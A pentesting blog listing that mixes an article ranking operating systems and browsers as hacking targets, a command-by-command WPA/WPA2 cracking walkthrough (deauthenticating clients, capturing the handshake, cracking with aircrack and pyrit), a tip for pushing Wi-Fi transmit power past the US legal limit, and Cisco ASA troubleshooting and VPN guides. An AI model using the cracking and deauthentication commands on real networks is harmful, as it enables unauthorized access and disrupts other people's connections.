BSides Austin 2014 Workshops

Below are the workshops that were provided at the 2014 Bsides Austin Security Conference on March 20-21.

Windows Logging Workshop v1.0

Windows Logging Cheat Sheet v1.1

Catch-Me-If-You-Can Workshop v1.3

Posted in BSides Austin 2014, Pentesting

5 Most Common Hacking Methods

5_most_common_hacking_methods

Posted in Pentesting

The Market Share of Potential Hacking Targets

Props to OTC:  http://null-byte.wonderhowto.com/forum/market-share-potential-hacking-targets-0151024/

As we explore the machinations of how to hack various operating systems and configurations of applications, browsers, et al., I thought it might be useful and enlightening to look at what operating systems our targets are actually running.

This audience at Null Byte, being relatively young and computer savvy, tend to be running the latest and greatest operating systems and apps, but we can’t assume the same is true for our potential targets.

Let’s take a look at some current data on operating systems, web servers, browsers, and mobile operating systems, rather than assume that everyone is running the latest, greatest and most secure operating systems. In this way, we can get an idea of what operating systems we should focus our skills on in developing our attack scenarios.

Desktop and Clients

  • Windows 7 – 47.5%
  • Windows XP – 29.2%
  • Windows 8 – 6.6%
  • Windows 8.1 – 3.9%
  • Windows Vista – 3.3%
  • Mac OS X 10.9 – 3.2%
  • Linux – 1.6%
  • Other Mac OS X versions – 4.5%

You might be surprised that almost 30% of all desktop systems are still running Windows XP, despite the fact that Microsoft will be discontinuing support in April 2014.

I can tell you from my experience at some major corporations and military installations that there are MANY Windows XP systems in those “secure” environments. Apparently, these institutions assume that the transition costs are greater than the potential security risk. Furthermore, Windows XP remains very popular in many developing nations and among pirated copies, which are not reflected here in these figures.

The other thing to note here is that nearly 8% of the client computers are running a version of Mac OS X. Due to a misconception perpetuated by Mac users and salespeople, many Mac users believe that their systems are impervious to hacking and viruses and as such, and a result, don’t run antivirus software or other security measures.

Web Browsers

  • Internet Explorer 8 – 21.2%
  • Firefox 26 – 13.4%
  • Internet Explorer 11 – 11.5%
  • Internet Explorer – 10 9.8%
  • Internet Explorer – 9 8.9%
  • Chrome 32 – 6.79%
  • Chrome 31 – 6.62 %
  • Internet Explorer – 6 4.5%
  • Internet Explorer 7 – 2.5%
  • Other – 32%

Notice that the most widely used browser is still IE8, despite all its security vulnerabilities, with over 1 in 5 computers still running this browser. If we include IE6 and IE7, over 28% of computers are running these highly vulnerable browsers.

Web Servers

  • Apache – 41.6%
  • Microsoft’s IIS – 29.4%
  • Nginx – 14.4%
  • GWS – 2.5%

Interestingly, despite all the security problems Apache has had recently, fewer than 1% of the busiest websites are running the newest version of Apache 2.4.x. That’s an awful lot of vulnerable web servers!

Mobile Operating Systems (by Browsing)

  • iOS – 54.5%
  • Android – 34.6%
  • Java ME – 4.3%
  • Symbian – 3.4%
  • Blackberry – 1.5%
  • Windows Phone – 0.6%

iOS and Android comprise over 90% of all browsing by mobile devices. Obviously, that is where we should focus our attack efforts.

Posted in Pentesting

Cracking WPA Wireless AP’s with Kali Linux

So you want to know how to crack a wireless AP that’s using WPA/WPA2?  We’ll show you how:

DISCLAIMER:  WE ONLY CONDONE DOING THIS ON YOUR OWN WIRELESS AP!!!

First we need to set the interface to promiscuous mode:

root@system:~# airmon-ng stop <interface>
root@system:~# ifconfig <interface> down
root@system:~# macchanger –mac 00:11:22:33:44:55 <interface>
root@system:~# iw reg set BO
root@system:~# iwconfig <interface> txpower 30
root@system:~# airmon-ng start <interface>
root@system:~# ifconfig <interface> up

Now we need to identify the client’s ESSID, channel, BSSID, and power rating using airodump:

root@system:~# airodump-ng mon0

Now that we have identified we are close enough to capture the hand shake and have collecetd the ESSID, BSSID, and channel we are ready to begin. We need to set our promiscuous interface to start capturing the traffic of the target AP:

root@system:~# airodump-ng -c <channel #> -w <file output name> –bssid <BSSID> <interface>

For this attack to work, some users have to be associated with the AP.  In a separate window lets de-auth some connected users to capture the handshake when they automatically reconnect:

root@system:~# aireplay-ng -0 5 -a <BSSID> mon0

We can target a specific client’s MAC that is associated by the following:

root@system:~# aireplay-ng -0 5 -a <BSSID> -c <client MAC> mon0

Once you’ve captured the handshake you can identify it’s usable with pyrit so we can crack it offline:

root@system:~# pyrit -r <cap file> analyze

OK, we have a good hanshake, let’s crack it with Kali’s built in rockyou password list and aircrack:

root@system:~# aircrack-ng -b <BSSID> -w <rockyou location> <cap file>

For faster cracking for those of you with video cards with CUDA cores and the like, use pyrit:

root@system:~# pyrit -r <cap file> -i <passwd list> -b <BSSID> attack_passthrough

Tagged with: , , , ,
Posted in Pentesting

Making the Most of Your Alfa card – WLAN Tx Power

  So you bought a new Alfa card, you plugged it in, and you were amazed at how many more AP’s you could see from a distance.  Am I right? 

  Many people go on thinking that’s the most they can get from this card.  The reality is, that in the US, it’s only legal to a maximum of 500 mW (27 dBm). If you really wanted however, you could easily unlock it’s full potential of 1000 mW (30 dBm)….Here’s how:

First we are going to set the country code to BO:

root@system:~# ifconfig <interface> down
root@system:~# iw reg set BO

Now, we are going to turn the power up…

root@system:~# iwconfig <interface> txpower 30
root@system:~# ifconfig <interface> up

Verify the new power settings are at 30 dBm:

root@system:~# iwconfig <interface>

Tagged with: , , , , ,
Posted in Pentesting

Cisco ASA – Troubleshooting with Syslog and Show Commands

Execute the show running-config command and pipe the output through the “begin” filter specifying the string “interface”. This will begin the output with the first line that contains the string “interface”:
HQ-ASA# show run | begin interface
interface GigabitEthernet0/0
nameif outside
security-level 0
ip address 200.200.1.2 255.255.255.0
!
interface GigabitEthernet0/1
nameif inside
security-level 100
ip address 10.10.0.1 255.255.255.0
!
<…Output Truncated…>

 
Execute the show running-config command and pipe the output through the “include” filter, specifying the string “ntp”. This will show all lines from the output that contain the string “ntp”.
HQ-ASA# sh run | i ntp
access-list global_access extended permit udp any host 192.43.244.18 eq ntp
ntp authentication-key 5150 md5 *****
ntp authenticate
ntp trusted-key 5150
ntp server 192.43.244.18 key 5150 source outside prefer

 

Execute the command show running-config with the argument ntp (ntp is an argument to show running-config and not a filter such as include or begin):
HQ-ASA#sh run ntp
ntp authentication-key 5150 md5 *****
ntp authenticate
ntp trusted-key 5150
ntp server 192.43.244.18 key 5150 source outside prefer

HQ-ASA# sh run policy-map
!
policy-map type inspect dns preset_dns_map
parameters
message-length maximum client auto
message-length maximum 512
policy-map global_policy
class inspection_default
inspect dns preset_dns_map
inspect ftp
inspect h323 h225
inspect h323 ras
inspect ip-options
inspect netbios
inspect rsh
inspect rtsp
inspect skinny
inspect esmtp
inspect sqlnet
inspect sunrpc
inspect tftp
inspect sip
inspect xdmcp
inspect icmp

 

View the translation table on the ASA with the command show xlate:
HQ-ASA# sh xlate local 10.10.10.0-10.10.10.255
5 in use, 5 most used
Flags: D – DNS, i – dynamic, r – portmap, s – static, I – identity, T – twice
NAT from inside:10.10.10.20 to outside:200.200.1.58 flags i idle 0:45:27 timeout
3:00:00

 

Use the show conn table to display the contents of the ASA’s connection (state) table:
HQ-ASA# show conn all address 10.10.10.10
10 in use, 11 most used
TCP outside 75.75.75.75:21 inside 10.10.10.10:1128, idle 0:02:20, bytes 974, flags
UIO
TCP inside 10.10.10.10:1101 NP Identity Ifc 10.10.0.1:443, idle 0:00:02, bytes
1461293, flags UOB
TCP inside 10.10.10.10:1099 NP Identity Ifc 10.10.0.1:443, idle 0:00:01, bytes
79495, flags UOB
TCP inside 10.10.10.10:1092 NP Identity Ifc 10.10.0.1:22, idle 0:00:00, bytes
45768, flags UOB

 

The show traffic command displays traffic levels for the ASA interfaces, broken down into transmitted, received and dropped:
HQ-ASA# show traffic
outside:
received (in 3987.200 secs):
40771 packets 52707883 bytes
10 pkts/sec 13219 bytes/sec
transmitted (in 3987.200 secs):
21600 packets 871400 bytes
5 pkts/sec 218 bytes/sec
1 minute input rate 0 pkts/sec, 2 bytes/sec
1 minute output rate 0 pkts/sec, 2 bytes/sec
1 minute drop rate, 0 pkts/sec
5 minute input rate 0 pkts/sec, 2 bytes/sec
5 minute output rate 0 pkts/sec, 2 bytes/sec
5 minute drop rate, 0 pkts/sec
<…Output for other named interfaces omitted…>
—————————————-
Aggregated Traffic on Physical Interface
—————————————-
GigabitEthernet0/0:
received (in 3989.420 secs):
40771 packets 53442356 bytes
10 pkts/sec 13396 bytes/sec
transmitted (in 3989.420 secs):
21600 packets 1388627 bytes
5 pkts/sec 348 bytes/sec
1 minute input rate 0 pkts/sec, 3 bytes/sec
1 minute output rate 0 pkts/sec, 3 bytes/sec
1 minute drop rate, 0 pkts/sec
5 minute input rate 0 pkts/sec, 3 bytes/sec
5 minute output rate 0 pkts/sec, 3 bytes/sec
5 minute drop rate, 0 pkts/sec
<…Output for other physical interfaces omitted..
Note: The statistics can be reset with the clear traffic command.

 

The show perfmon command is useful to ascertain the current load on an ASA:
HQ-ASA# show perfmon
PERFMON STATS: Current Average
Xlates 0/s 0/s
Connections 0/s 0/s
TCP Conns 0/s 0/s
UDP Conns 0/s 0/s
URL Access 0/s 0/s
URL Server Req 0/s 0/s
TCP Fixup 0/s 0/s
TCP Intercept Established Conns 0/s 0/s
TCP Intercept Attempts 0/s 0/s
TCP Embryonic Conns Timeout 0/s 0/s
HTTP Fixup 0/s 0/s
FTP Fixup 0/s 0/s
AAA Authen 0/s 0/s
AAA Author 0/s 0/s
AAA Account 0/s 0/s
VALID CONNS RATE in TCP INTERCEPT: Current Average
N/A 100.00%

 

ASP stands for Accelerated Security Path.  This is the path taken by packets when application layer inspection is not required. Using the show asp drop command can be very enlightening about why packets are being dropped by the ASA.
HQ-ASA# show asp drop
Frame drop:
Flow is denied by configured rule (acl-drop) 13
First TCP packet not SYN (tcp-not-syn) 22
TCP failed 3 way handshake (tcp-3whs-failed) 1
TCP RST/FIN out of order (tcp-rstfin-ooo) 2
Slowpath security checks failed (sp-security-failed) 42
Interface is down (interface-down) 3
Dropped pending packets in a closed socket (np-socket-closed) 36
Last clearing: Never
Flow drop:
Last clearing: Never

 

Verify if traffic is being dropped inspection on the ASA:
HQ-ASA# show service-policy inspect ftp

Global policy:
  Service-policy: global_policy
    Class-map: inspection_default
      Inspect: ftp, packet 36, drop 0, reset-drop 2

Tagged with: , , , , ,
Posted in ASA Firewall

Site-to-Site VPN Configuration using PSK via CLI on ASA 8.4.1

    A useful acronym to remember how to configure IKEv1 policy is HAGLE. IKEv1 is about negotiating the parameters, including dynamic shared keys, for security associations. Haggling is a type of negotiation.

H – Hash (the algorithm used for data integrity in the IKEV1 SA)
A – Authentication (method the two peers use to identify each other)
G – Group (the Diffie-Hellmann Group number)
L – Lifetime (time threshold after which the IKEV1 SA is rekeyed)
E – Encryption (the algorithm used for privacy in the IKEV1 SA)

1.  Set the ‘Identity Sent to Peer” to ‘Address’

ciscoasa# crypto isakmp identity address

2.  Allow IKEv1 on outside interface

ciscoasa# crypto ikev1 enable  outside

3.  Verify IKEv1 policy on the ASA.

The other side of the tunnel is preconfigured with several IKEv1 policies. You need to verify the existence of the equivalent policy of interest on the ASA.

ciscoasa# show run crypto ikev1

crypto ikev1 enable outside
crypto ikev1 ipsec-over-tcp port 10000
crypto ikev1 policy 1
authentication pre-share
encryption aes
hash sha
group 2
lifetime 86400

4.  Create the Crypto Map

ciscoasa# access-list Site1-VPN-Traffic line 1 extended permit ip 10.10.0.0 255.255.0.0 10.10.20.0 255.255.255.0
ciscoasa# crypto map outside_map 1 match address Site1-VPN-Traffic
ciscoasa# crypto map outside_map 1 set  peer  200.200.20.2
ciscoasa# crypto map outside_map 1 set  ikev1 transform-set  ESP-AES-128-SHA
ciscoasa# crypto map outside_map interface outside

5.  Define the corresponding tunnel group (Connection Profile)

ciscoasa# group-policy Site1-Policy internal
ciscoasa# group-policy Site1-Policy attributes
ciscoasa-attr# vpn-tunnel-protocol ikev1
ciscoasa# exit
ciscoasa# tunnel-group 200.200.20.2 type ipsec-l2l
ciscoasa# tunnel-group 200.200.20.2 general-attributes
ciscoasa-attr# default-group-policy Site1-Policy
ciscoasa# tunnel-group 200.200.20.2 ipsec-attributes
ciscoasa-attr# ikev1 pre-shared-key **********
ciscoasa-attr# isakmp keepalive threshold 10 retry 2

6.  Add a NAT Exemption for traffic from HQ to Site

ciscoasa# object network 10.10-Inside
ciscoasa# subnet 10.10.0.0 255.255.0.0
ciscoasa# object network 10.10.20-Site1
ciscoasa# subnet 10.10.20.0 255.255.255.0
ciscoasa# nat (inside,outside) 1 source static 10.10-Inside 10.10-Inside destination static 10.10.20-Site1 10.10.20-Site1

VERIFY THE CONNECTION…

Generate traffic from one side of the tunnel to the other to make the tunnel come up.

1.  View the status of the IKEv1 SA:

ciscoasa# sho crypto isa sa

IKEv1 SAs:
Active SA: 1
Rekey SA: 0 (A tunnel will report 1 Active and 1 Rekey SA during rekey)
Total IKE SA: 1
1 IKE Peer: 200.200.20.2
Type : L2L Role : initiator
Rekey : no State : MM_ACTIVE

2.  View the status of the IPsec SAs:

ciscoasa# sh crypto ipsec sa

interface: outside
Crypto map tag: outside_map, seq num: 10, local addr: 200.200.1.2
access-list Site1-VPN-Traffic extended permit ip 10.10.0.0 255.255.0.0
10.20.10.0 255.255.255.0
local ident (addr/mask/prot/port): (10.10.0.0/255.255.0.0/0/0)
remote ident (addr/mask/prot/port): (10.20.10.0/255.255.255.0/0/0)
current_peer: 200.200.20.2
#pkts encaps: 104, #pkts encrypt: 104, #pkts digest: 104
#pkts decaps: 95, #pkts decrypt: 95, #pkts verify: 95
#pkts compressed: 0, #pkts decompressed: 0
#pkts not compressed: 104, #pkts comp failed: 0, #pkts decomp failed: 0
#pre-frag successes: 0, #pre-frag failures: 0, #fragments created: 0
#PMTUs sent: 0, #PMTUs rcvd: 0, #decapsulated frgs needing reassembly: 0
#send errors: 0, #recv errors: 0
local crypto endpt.: 200.200.1.2/0, remote crypto endpt.: 200.200.20.2/0
path mtu 1500, ipsec overhead 74, media mtu 1500
current outbound spi: 357F34E6
current inbound spi : 291040FE
inbound esp sas:
spi: 0x291040FE (688931070)
transform: esp-aes esp-sha-hmac no compression
in use settings ={L2L, Tunnel, }
slot: 0, conn_id: 81920, crypto-map: outside_map
sa timing: remaining key lifetime (kB/sec): (4373971/3145)
IV size: 16 bytes
replay detection support: Y
Anti replay bitmap:
0xFFFFFFFF 0xFFFFFFFF
outbound esp sas:
spi: 0x357F34E6 (897529062)
transform: esp-aes esp-sha-hmac no compression
in use settings ={L2L, Tunnel, }
slot: 0, conn_id: 81920, crypto-map: outside_map
sa timing: remaining key lifetime (kB/sec): (4373928/3145)
IV size: 16 bytes
replay detection support: Y
Anti replay bitmap:
0x00000000 0x00000001

3.  Use DEBUG

ciscoasa# debug crypto ikev1 5

Monitor a tunnel teardown: (issue a ‘clear ikev1 sa‘)

Jan 10 16:32:26 [IKEv1]Group = 200.200.20.2, IP = 200.200.20.2, Session is being torn down. Reason: Administrator Reset
Jan 10 16:32:26 [IKEv1]Group = 200.200.20.2, IP = 200.200.20.2, Connection terminated for peer 200.200.20.2. Reason: Administrator Reset Remote Proxy 10.20.10.0, Local Proxy 10.10.0.0
Jan 10 16:32:26 [IKEv1 DEBUG]Group = 200.200.20.2, IP = 200.200.20.2, IKE Deleting SA: Remote Proxy 10.20.10.0, Local Proxy 10.10.0.0
Jan 10 16:32:26 [IKEv1]IP = 200.200.20.2, Received encrypted packet with no matching SA, dropping

Tagged with: , , , , , , ,
Posted in ASA Site-to-Site VPN, Network Security

Control Site-to-Site VPN Traffic with a Filter using ASDM on ASA 8.4.1

A common requirement with Site-to-Site tunnels is access-control through the tunnel. One strategy to accomplish this might be to have a rather complex crypto ACL. But this leads to additional administration overhead as there is actually a pair of IPsec SAs for each active
entry in the crypto ACL. The proper way to limit traffic through a Site-to-Site tunnel with the ASA is to apply a filter via group policy. In this section of the lab, you will prevent Site1 systems from reaching the management subnet.

1.  Create an ACL which denies access to 10.10.2.0/24 for use as a filter for the Site1 VPN
Navigate to Configuration > Site-to-Site VPN > Advanced > ACL Manager
The table of ACLs defined on the ASA appears.
Click Add > Add ACL.
Enter the name Site1-VPN-Filter and click OK.

With Site1-VPN-Filter highlighted in the table, click Add > Add ACE.
Define the first Access Control Entry as follows:
• Action: Deny
• Source: Any
• Destination: 10.10.2.0/24
• Service: ip
Leave other options at their default values and click OK.

Select the first line in the Site1-VPN-Filter and select Add > Add ACE.
Define the first Access Control Entry as follows:
• Action: Permit
• Source: Any
• Destination: Any
• Service: ip
Leave other options at their default values and click OK.
Click Apply.

2.  Modify the group policy for Site1-VPN, and select the new ACL as the filter:
Navigate to Configuration > Site-to-Site VPN > Group Policies
Select the Site1-Policy and click Edit.
Modify the group policy as follows:
• IPv4 Filter: Uncheck Inherit and select Site1-VPN-Filter
Leave the other values at their defaults and click OK.
Click Apply.

The policy is defined, but it won’t take effect until the next time the Site1 VPN tunnel is negotiated.

3.  “Bounce” the Site1 tunnel:
Navigate to Monitoring > VPN > VPN Statistics > Sessions
Set the filter to IPsec Site-to-Site.
If the tunnel to 200.200.20.2 is still active, click Logout.

Tagged with: , , , , , , ,
Posted in ASA Site-to-Site VPN, Network Security

Update a Site-to-Site VPN Configuration for PKI Support using ASDM on ASA 8.4.1

View an IKEv1 policy that uses digital certificates for peer authentication with a priority that puts it above the policy that uses pre-shared keys.

Navigate to Configuration > Site-to-Site VPN > Advanced > IKE Policies
The IKE Policies table appears.
Select Priority 20 and verify the following:

  • Encryption aes-256
  • Hash sha
  • D-H Group 2
  • Authentication rsa-sig
  • Lifetime 86400

Update the current Tunnel Group and Crypto Map entry for Site1 to use the an identity certificate instead of pre-shared keys for authentication:

Navigate to Configuration > Site-to-Site VPN > Connection Profiles
Select the 200.200.20.2 entry in the table and click Edit.
Delete the contents of the Pre-shared Key field.
Select the Identity Certificate associated with the Data-Srv.
Click OK.
Click Apply.

With the trustpoint assigned to the tunnel group, the tunnel can be initiated from the remote site. But the trustpoint must also be assigned to the crypto map entry to allow the ASA to initiate the tunnel. When the ASA receives outbound interesting traffic, it needs to know what certificate to offer its peer.

Assign the Data-Srv certificate to the crypto map entry:
Navigate to Configuration > Site-to-Site VPN > Advanced > Crypto Maps
The Crypto Maps table appears with a Crypto Map for the outside interface with a single entry defined.
Select entry 10 (the only entry available) and click Edit.
Select the Tunnel Policy (Crypto Map) – Advanced tab.
Select Device Certificate Data-Srv:….
Click OK.
Click Apply.

Tagged with: , , , , , , , ,
Posted in ASA Site-to-Site VPN, Network Security

Site-to-Site VPN Configuration using ASDM and PSK on ASA 8.4.1

A useful acronym to remember how to configure IKEv1 policy is HAGLE. IKEv1 is about negotiating the parameters, including dynamic shared keys, for security associations. Haggling is a type of negotiation.

H – Hash (the algorithm used for data integrity in the IKEV1 SA)
A – Authentication (method the two peers use to identify each other)
G – Group (the Diffie-Hellmann Group number)
L – Lifetime (time threshold after which the IKEV1 SA is rekeyed)
E – Encryption (the algorithm used for privacy in the IKEV1 SA)

1.  Set the ‘Identity Sent to Peer” to ‘Address’

Navigate to Configuration > Site-to-Site VPN > Advanced > IKE Parameters

2.  Allow IKEv1 and IKEv2 on outside interface

Navigate to Configuration > Site-to-Site VPN > Connection Profiles
Check the boxes on the outside interface for ‘Allow Access’

3.  Verify IKEv1 policy on the ASA.

The other side of the tunnel is preconfigured with several IKEv1 policies. You need to verify the existence of the equivalent policy of interest on the ASA.

Navigate to Configuration > Site-to-Site VPN > Advanced > IKE Policies

Select Priority 90 and verify the following:

Encryption: AES-128
Hash: sha
D-H Group: 2
Authentication: pre-share
Lifetime: 86400

4.  Create the Connection Profile

Navigate to Configuration > Site-to-Site VPN > Advanced > Crypto Maps

Click Add
The Create IPsec Rule window appears.
Define the policy under the Tunnel Policy (Crypto Map) – Basic tab as follows:

  • Interface: outside
  • Priority: 10
  • IKE v1 IPSec Proposal: ESP-AES-128-SHA.
  • Connection type: bidirectional
  • IP Address of peer to Be Added
  • Enter 200.200.20.2 and click Add
  • Do NOT enable Perfect Forwarding Secrecy

Select the Traffic Selection tab.
Define the interesting traffic ACL as follows: (You are defining the crypto ACL)
•   Network Type: IPv4
•   Action: Protect
•   Source: 10.10.0.0/16
•   Destination: 10.20.10.0/24
•   Service: ip
Click OK.
Click Apply.

5.  Define the corresponding tunnel group in ASDM

Navigate to Configuration > Site-to-Site VPN > Advanced > Tunnel Groups

Click Add.
The Add IPsec Site-to-site Tunnel Group window opens.
Define the tunnel group as follows:

  • Name: 200.200.20.2
  • Group Policy Name: Site1-Policy
  • Uncheck IKE v2
  • Pre-shared Key: supersecret

Leave all other values at their default and click OK.
Click Apply.

6.  Change the name of outside_cryptomap_1 to Site1-VPN-Traffic:

Navigate to Configuration > Site-to-Site VPN > Advanced > ACL Manager

Highlight the outside_cryptomap_1 ACL  Right click > Rename ACL…
The Rename ACL window appears
Enter Site1-VPN-Traffic
Click OK and Click Apply

7.   Add a NAT Exemption for traffic from HQ to Site1

Navigate to Configuration > Firewall > NAT Rules.

Click Add > Add NAT Before “Network Object” NAT Rules..
Define the parameters as follows:

  • Source Interface: inside
  • Source Address: HQ-Inside-10.10
  • Destination Interface: outside

Click the ellipsis next to Destination Address
Click Add > Network Object and fill in as follows:
• Name: Site1
• Type: Network
• IP Address: 10.20.10.0
• Netmask: 255.255.255.0
Click OK.
Set Original Destination Address to Site1 and click OK.
Click OK. Click Apply.

VERIFY THE CONNECTION…

Generate traffic from one side of the tunnel to the other to make the tunnel come up.

Navigate to Monitoring > VPN > VPN Statistics > Sessions

In the Filter By field, select IPsec Site-to-Site.
With the connection selected, click Details.
Much more detailed information is provided in the Session Details window.
Select IPsec in the type column.
Click More in the Session Details window.
It contains the output of a “show crypto ipsec sa peer 200.200.20.2 detail” command.
Close the Sub-Session Details window.
Verify that the IKEv1 Authentication Mode is preSharedKeys, encryption is AES-128, Hashing is SHA1, and Diffie-Hellman is Group 2.
Close the Details window.

Tagged with: , , , , , , , , ,
Posted in ASA Site-to-Site VPN, Network Security
  • An error has occurred; the feed is probably down. Try again later.
  • An error has occurred; the feed is probably down. Try again later.
  • An error has occurred; the feed is probably down. Try again later.